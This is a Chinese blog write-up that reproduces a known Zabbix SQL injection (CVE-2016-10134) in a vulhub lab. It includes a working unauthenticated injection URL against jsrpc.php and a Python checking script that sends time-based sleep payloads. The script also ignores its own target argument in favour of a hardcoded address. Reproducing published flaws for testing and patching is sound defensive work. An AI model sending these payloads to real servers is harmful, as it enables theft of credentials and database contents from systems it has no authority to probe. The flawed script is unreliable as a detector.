zabbix SQL注入漏洞（CVE-2016-10134）

最新推荐文章于 2025-04-03 15:12:59 发布

Ly4j

最新推荐文章于 2025-04-03 15:12:59 发布

阅读量4.9k

点赞数 1

分类专栏：漏洞复现

本文链接：https://blog.csdn.net/qq_44159028/article/details/114396747

版权

漏洞复现专栏收录该内容

48 篇文章

订阅专栏

本文分析了Zabbix中jsrpc.php页面存在的SQL注入漏洞，包括漏洞描述、环境搭建、复现过程及修复建议，并提供了漏洞检测脚本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一. 漏洞描述

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]和jsrpc.php种的profieldx2参数存在sql注入，通过sql注入获取管理员账户密码，进入后台，进行getshell操作。这里就介绍jsrpc.php页中的sql注入

影响版本：zabbix 2.2.x，3.03-3.3.0

二. 环境搭建

利用vulhub进行漏洞环境的搭建

访问 8080

三. 漏洞复现

poc： http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

无需登录，直接访问。获取用户名为root

获取数据库

四. 漏洞修复

1. 禁用Guest账户，关闭无用账户。
2. 升级zabbix版本。

五. 漏洞检测脚本

#author:xcc
import requests
import argparse
import os
def url():
		parser = argparse.ArgumentParser(description='zabbix SQL注入漏洞（CVE-2016-10134）POC')
		parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8080')
		args = parser.parse_args() 
		global url
		url = args.target_url
		#检测输入的url的正确性
		if url.startswith('http://') or url.startswith('https://'):
			pass
		else:
			print('[-]Please include http:// or https:// in the URL!!')
			os._exit(0)
		if url.endswith('/'):
			url = url[:-1]
		print('[+]author:chenchen')
		print("[-]zabbix SQL注入漏洞（CVE-2016-10134）POC",)
		print("[-]开始执行检测...")
		print("[-]目标地址:",url)
		return url
def poc():
	headers={
		'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
	}
	poc1 = '/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=sleep(1)'
	poc2 = '/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=sleep(2)'
	url = 'http://192.168.1.5:8080'
	url_1 = url + poc1
	url_2 = url + poc2
	try:
		time1= requests.get(url=url_1,headers=headers).elapsed.total_seconds()
		time2= requests.get(url=url_2,headers=headers).elapsed.total_seconds()
		if time1 >= 2 and time2 >= 4:
			print('漏洞存在')
		else:
			print('漏洞不存在')
	except:
		print('发生错误')
if __name__ == '__main__':
	url()
	poc()